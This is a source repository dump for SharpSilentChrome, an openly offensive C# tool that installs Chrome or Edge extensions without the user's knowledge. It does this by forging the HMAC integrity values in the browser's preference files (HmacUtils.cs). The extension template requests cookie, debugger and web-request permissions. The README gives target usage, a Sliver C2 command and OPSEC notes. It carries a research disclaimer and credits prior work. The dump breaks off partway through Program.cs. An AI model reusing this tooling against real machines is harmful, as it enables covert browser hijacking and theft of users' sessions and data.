├── FodyWeavers.xml ├── App.config ├── packages.config ├── Properties └── AssemblyInfo.cs ├── SharpSilentChrome.sln ├── misc ├── extension_template.json └── cursed.py ├── .gitattributes ├── Utils.cs ├── README.md ├── HmacUtils.cs ├── SharpSilentChrome.csproj ├── .gitignore ├── Program.cs ├── ExtensionInstaller.cs └── ProcessUtils.cs /FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpSilentChrome")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpSilentChrome")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("4d4cc415-193b-4878-8b2a-161752c0b766")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpSilentChrome.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.10.35013.160 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSilentChrome", "SharpSilentChrome.csproj", "{4D4CC415-193B-4878-8B2A-161752C0B766}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|x64.ActiveCfg = Debug|x64 19 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Debug|x64.Build.0 = Debug|x64 20 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|x64.ActiveCfg = Release|x64 23 | {4D4CC415-193B-4878-8B2A-161752C0B766}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4041E420-8296-43AB-BBE8-9735582DF2DD} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /misc/extension_template.json: -------------------------------------------------------------------------------- 1 | { 2 | "active_permissions": { 3 | "api": [ 4 | "activeTab", 5 | "cookies", 6 | "debugger", 7 | "webNavigation", 8 | "webRequest", 9 | "scripting" 10 | ], 11 | "explicit_host": [ 12 | "" 13 | ], 14 | "manifest_permissions": [], 15 | "scriptable_host": [] 16 | }, 17 | "commands": {}, 18 | "content_settings": [], 19 | "creation_flags": 38, 20 | "filtered_service_worker_events": { 21 | "webNavigation.onCompleted": [ 22 | {} 23 | ] 24 | }, 25 | "first_install_time": "13364417633506288", 26 | "from_webstore": false, 27 | "granted_permissions": { 28 | "api": [ 29 | "activeTab", 30 | "cookies", 31 | "debugger", 32 | "webNavigation", 33 | "webRequest", 34 | "scripting" 35 | ], 36 | "explicit_host": [ 37 | "" 38 | ], 39 | "manifest_permissions": [], 40 | "scriptable_host": [] 41 | }, 42 | "incognito_content_settings": [], 43 | "incognito_preferences": {}, 44 | "last_update_time": "13364417633506288", 45 | "location": 4, 46 | "newAllowFileAccess": true, 47 | "path": "__EXTENSION_PATH__", 48 | "preferences": {}, 49 | "regular_only_preferences": {}, 50 | "service_worker_registration_info": { 51 | "version": "0.1.1" 52 | }, 53 | "serviceworkerevents": [ 54 | "cookies.onChanged", 55 | "webRequest.onBeforeRequest/s1" 56 | ], 57 | "state": 1, 58 | "was_installed_by_default": false, 59 | "was_installed_by_oem": false, 60 | "withholding_permissions": false 61 | } -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /Utils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Security.Cryptography; 4 | using System.Text; 5 | 6 | namespace SharpSilentChrome 7 | { 8 | static class Utils 9 | { 10 | public static void WriteLine(string message) 11 | { 12 | #if DEBUG 13 | Console.WriteLine($"[DEBUG] {message}"); 14 | #endif 15 | } 16 | 17 | public static string GetExtensionId(string path) 18 | { 19 | var bytes = Encoding.Unicode.GetBytes(path); 20 | using (var sha = SHA256.Create()) 21 | { 22 | var hash = sha.ComputeHash(bytes); 23 | var hex = BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant(); 24 | var sb = new StringBuilder(); 25 | foreach (var c in hex) 26 | { 27 | int val = Convert.ToInt32(c.ToString(), 16); 28 | sb.Append((char)(val + 'a')); 29 | if (sb.Length == 32) break; 30 | } 31 | return sb.ToString(); 32 | } 33 | } 34 | 35 | // Not used anymore, but keeping it just in case - peak SWE experience 36 | public static string GetUsernameFromSID(string sid) 37 | { 38 | try 39 | { 40 | string regPath = $@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{sid}"; 41 | object profileImagePath = Microsoft.Win32.Registry.GetValue(regPath, "ProfileImagePath", null); 42 | 43 | if (profileImagePath == null) 44 | { 45 | Utils.WriteLine($"[-] Could not find profile path for SID: {sid}"); 46 | return null; 47 | } 48 | 49 | string userProfilePath = profileImagePath.ToString(); 50 | string username = Path.GetFileName(userProfilePath); 51 | 52 | Utils.WriteLine($"[+] Resolved username from SID: {username}"); 53 | return username; 54 | } 55 | catch (Exception ex) 56 | { 57 | Utils.WriteLine($"[-] Error resolving username from SID {sid}: {ex.Message}"); 58 | return null; 59 | } 60 | } 61 | 62 | public static (string securePrefs, string prefs) GetPrefsPaths(string profilePath, string browser) 63 | { 64 | string securePrefsPath = ""; 65 | string prefsPath = ""; 66 | 67 | // Build Secure Preferences and Preferences file paths 68 | if (browser.ToLower() == "chrome") 69 | { 70 | securePrefsPath = Path.Combine(profilePath, @"AppData\Local\Google\Chrome\User Data\Default\Secure Preferences"); 71 | prefsPath = Path.Combine(profilePath, @"AppData\Local\Google\Chrome\User Data\Default\Preferences"); 72 | } 73 | else if (browser.ToLower() == "msedge") 74 | { 75 | securePrefsPath = Path.Combine(profilePath, @"AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences"); 76 | prefsPath = Path.Combine(profilePath, @"AppData\Local\Microsoft\Edge\User Data\Default\Preferences"); 77 | } 78 | else 79 | { 80 | Utils.WriteLine($"[-] Browser not supported: {browser}"); 81 | return (null, null); 82 | } 83 | 84 | return (securePrefsPath, prefsPath); 85 | } 86 | 87 | } 88 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpSilentChrome 2 | 3 | https://github.com/user-attachments/assets/b8595cd8-77e1-41ab-ad72-293e0c78168e 4 | 5 | SharpSilentChrome is a C# project that "silently" installs browser extensions on Google Chrome or MS Edge by updating the browsers' `Preferences` and `Secure Preferences` files. Currently, it only supports Windows. 6 | 7 | [Blog post - KOREAN](https://blog.sunggwanchoi.com/kor-introducing-sharpsilentchrome/) 8 | 9 | I simply ported Syntax-err0r's and AsaurusRex's python code to C#. For all information regarding research, detection, opsec, and more, refer to the credits section below. 10 | 11 | ## Credits 12 | 13 | Original Research Paper: [https://www.cse.chalmers.se/~andrei/cans20.pdf](https://www.cse.chalmers.se/~andrei/cans20.pdf) 14 | 15 | Nicholas Murray(Syntax-err0r)'s original blog post: [https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html](https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html) and[https://syntax-err0r.github.io/Return_Of_The_Extension.html](https://syntax-err0r.github.io/Return_Of_The_Extension.html) 16 | 17 | AsaurusRex's blog post: [https://medium.com/@marcusthebrody/silently-install-chrome-extensions-macos-version-becf164679c2](https://medium.com/@marcusthebrody/silently-install-chrome-extensions-macos-version-becf164679c2) and [https://medium.com/@marcusthebrody/silently-install-macos-chrome-extensions-part-2-c9deab4216cd](https://medium.com/@marcusthebrody/silently-install-macos-chrome-extensions-part-2-c9deab4216cd) 18 | 19 | AsaurusRex's python code: [https://github.com/asaurusrex/Silent_Chrome](https://github.com/asaurusrex/Silent_Chrome) 20 | 21 | ## Usage 22 | 23 | Drop the `extension` directory on target's filesystem 24 | 25 | Standalone usage 26 | ``` 27 | Usage: SharpSilentChrome.exe install /browser:[chrome/msedge] /sid: /profilepath: /path: 28 | Usage: SharpSilentChrome.exe revert /browser:[chrome/msedge] /sid: /profilepath: 29 | 30 | Example: SharpSilentChrome.exe install /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:"C:\Users\john.doe" /path:"C:\Users\Public\Downloads\extension" 31 | Example: SharpSilentChrome.exe revert /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:"C:\Users\john.doe 32 | 33 | Path is CASE SENSITIVE 34 | ``` 35 | 36 | Sliver usage 37 | ``` 38 | inline-execute-assembly /root/SharpSilentChrome.exe 'install /sid:S-1-5-21-3783789134-3776525684-4265850423-500 /path:C:\Users\Public\Downloads\extension /browser:chrome /profilepath:c:\users\administrator' 39 | ``` 40 | 41 | ## Caveats & OPSEC 42 | 43 | 1. Before installing the extension, SSC will create backup files for `Preferences` and `Secure Preferences` in user's data directory. 44 | 45 | 2. If a user has browser processes running, SSC will kill and restart all browser processes. This will take around 1 second and upon restarting, browser will restore all previous tabs and cookies. However, the user will feel the "process crash" type of experience. 46 | 47 | 3. If a user does not have browser processes running, SSC will just simply install the extension. 48 | 49 | 4. Installing extension to another/different user will NOT restore their browser process. It is highly recommended to install the extension when the target user is not running their browser process. 50 | 51 | ## TODO 52 | 53 | - [ ] BOF port 54 | - [ ] Update handling different/another user when they have browser processes running. Currently, SSC will not restore their tabs and will not restart the browser - the target user must manually restart the browser from their gui session. 55 | 56 | ## CursedChrome testing 57 | This section is mainly for personal testing purposes using the [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) project. You can just ignore this part. 58 | ``` 59 | # 1. Local port forwarding 60 | ssh -i @ -L 8118:127.0.0.1:8118 -L 8080:127.0.0.1:8080 61 | 62 | #2. Use Firefox + Incognito + Complete turn off/on every time for cookie-sync-extension 63 | - Cookie-sync-extension requires manifestv2, which currently only works with firefox. 64 | 65 | # 3. Load cookie-sync-extension 66 | - about:debugging#/runtime/this-firefox -> Load Temporary addon -> manifest.json 67 | 68 | # 4. When testing, complete turn off/on every time for cookie-sync-extension 69 | - Completely turn off/on firefox to clear cache/data 70 | ``` 71 | 72 | ## Disclaimer 73 | 74 | Information in this repository is for research and educational purposes. SharpSilentChrome is not intended to be used in production environments and engagements. If you are willing to do so, ensure to review the source code and modify it before using it. 75 | -------------------------------------------------------------------------------- /HmacUtils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Linq; 5 | using System.Security.Cryptography; 6 | using Newtonsoft.Json; 7 | using Newtonsoft.Json.Linq; 8 | 9 | namespace SharpSilentChrome 10 | { 11 | static class HmacUtils 12 | { 13 | public static void RemoveEmpty(JToken token) 14 | { 15 | if (token.Type == JTokenType.Object) 16 | { 17 | var properties = token.Children().ToList(); 18 | foreach (var prop in properties) 19 | { 20 | var val = prop.Value; 21 | RemoveEmpty(val); 22 | 23 | if (val.Type == JTokenType.Object && !val.HasValues) 24 | prop.Remove(); 25 | else if (val.Type == JTokenType.Array && !val.HasValues) 26 | prop.Remove(); 27 | else if (val.Type == JTokenType.String && string.IsNullOrEmpty(val.ToString())) 28 | prop.Remove(); 29 | else if ((val.Type == JTokenType.Null || 30 | val.Type == JTokenType.Boolean && val.ToObject() == false || 31 | val.Type == JTokenType.Integer && val.ToObject() == 0) && val.Type != JTokenType.Boolean && val.Type != JTokenType.Integer) 32 | prop.Remove(); 33 | } 34 | } 35 | else if (token.Type == JTokenType.Array) 36 | { 37 | var items = token.Children().ToList(); 38 | foreach (var item in items) 39 | { 40 | RemoveEmpty(item); 41 | 42 | if ((item.Type == JTokenType.Object || item.Type == JTokenType.Array) && !item.HasValues) 43 | item.Remove(); 44 | else if (item.Type == JTokenType.String && string.IsNullOrEmpty(item.ToString())) 45 | item.Remove(); 46 | else if ((item.Type == JTokenType.Null || 47 | item.Type == JTokenType.Boolean && item.ToObject() == false || 48 | item.Type == JTokenType.Integer && item.ToObject() == 0) && item.Type != JTokenType.Boolean && item.Type != JTokenType.Integer) 49 | item.Remove(); 50 | } 51 | } 52 | } 53 | 54 | public static string CalculateHMAC(JToken value, string path, string sid, byte[] seed) 55 | { 56 | if (value.Type == JTokenType.Object || value.Type == JTokenType.Array) 57 | RemoveEmpty(value); 58 | 59 | string json = JsonConvert.SerializeObject(value, new JsonSerializerSettings 60 | { 61 | Formatting = Formatting.None, 62 | StringEscapeHandling = StringEscapeHandling.Default // Don't escape non-ASCII 63 | }); 64 | 65 | // Apply replacements 66 | json = json.Replace("<", "\\u003C").Replace("\\u2122", "™"); 67 | 68 | string message = sid + path + json; 69 | 70 | var messageBytes = Encoding.UTF8.GetBytes(message); 71 | 72 | using (var hmac = new HMACSHA256(seed)) 73 | { 74 | byte[] hash = hmac.ComputeHash(messageBytes); 75 | var result = BitConverter.ToString(hash).Replace("-", "").ToUpperInvariant(); 76 | return result; 77 | } 78 | } 79 | 80 | public static string CalculateChromeDevMac(byte[] seed, string sid, string prefPath, object prefValue) 81 | { 82 | var serialized = JsonConvert.SerializeObject(prefValue, new JsonSerializerSettings 83 | { 84 | Formatting = Formatting.None 85 | }); 86 | 87 | var input = Encoding.UTF8.GetBytes(sid + prefPath + serialized); 88 | using (var hmac = new HMACSHA256(seed)) 89 | { 90 | var hash = hmac.ComputeHash(input); 91 | return BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant(); 92 | } 93 | } 94 | 95 | public static string CalcSuperMac(string filePath, string sid, byte[] seed) 96 | { 97 | var text = File.ReadAllText(filePath, Encoding.UTF8); 98 | var data = JObject.Parse(text); 99 | var macs = data["protection"]["macs"]; 100 | 101 | // Serialize like Python: compact JSON with no spaces 102 | var json = JsonConvert.SerializeObject(macs, new JsonSerializerSettings 103 | { 104 | Formatting = Formatting.None 105 | }).Replace(" ", ""); 106 | 107 | var msg = sid + json; 108 | using (var hmac = new HMACSHA256(seed)) 109 | { 110 | var hash = hmac.ComputeHash(Encoding.UTF8.GetBytes(msg)); 111 | return BitConverter.ToString(hash).Replace("-", "").ToUpperInvariant(); 112 | } 113 | } 114 | } 115 | } -------------------------------------------------------------------------------- /SharpSilentChrome.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {4D4CC415-193B-4878-8B2A-161752C0B766} 9 | Exe 10 | SharpSilentChrome 11 | SharpSilentChrome 12 | v4.8 13 | 512 14 | true 15 | true 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | 38 | 39 | true 40 | bin\x64\Debug\ 41 | DEBUG;TRACE 42 | full 43 | x64 44 | 7.3 45 | prompt 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | 7.3 55 | prompt 56 | true 57 | 58 | 59 | 60 | packages\Costura.Fody.6.0.0\lib\netstandard2.0\Costura.dll 61 | 62 | 63 | packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 92 | 93 | 94 | 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace SharpSilentChrome 5 | { 6 | class SharpSilentChrome 7 | { 8 | static void ShowUsage() 9 | { 10 | string usage = @" 11 | 12 | Usage: SharpSilentChrome.exe install /browser:[chrome/msedge] /sid: /profilepath: /path: 13 | Usage: SharpSilentChrome.exe revert /browser:[chrome/msedge] /sid: /profilepath: 14 | 15 | Example: SharpSilentChrome.exe install /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:""C:\Users\john.doe"" /path:""C:\Users\Public\Downloads\extension"" 16 | Example: SharpSilentChrome.exe revert /browser:chrome /sid:S-1-5-21-1234567890-1234567890-1234567890-1000 /profilepath:""C:\Users\john.doe"" 17 | 18 | Path is CASE SENSITIVE 19 | 20 | "; 21 | Console.WriteLine(usage); 22 | } 23 | 24 | static void Main(string[] args) 25 | { 26 | if (args.Length == 0) 27 | { 28 | ShowUsage(); 29 | return; 30 | } 31 | 32 | switch (args[0].ToLower()) 33 | { 34 | case "install": 35 | ExecuteInstall(args); 36 | break; 37 | case "revert": 38 | ExecuteRevert(args); 39 | break; 40 | default: 41 | ShowUsage(); 42 | break; 43 | } 44 | } 45 | 46 | static (string sid, string profilePath, string extensionPath, string browser) ParseInstallArgs(string[] args) 47 | { 48 | string sid = null, profilePath = null, 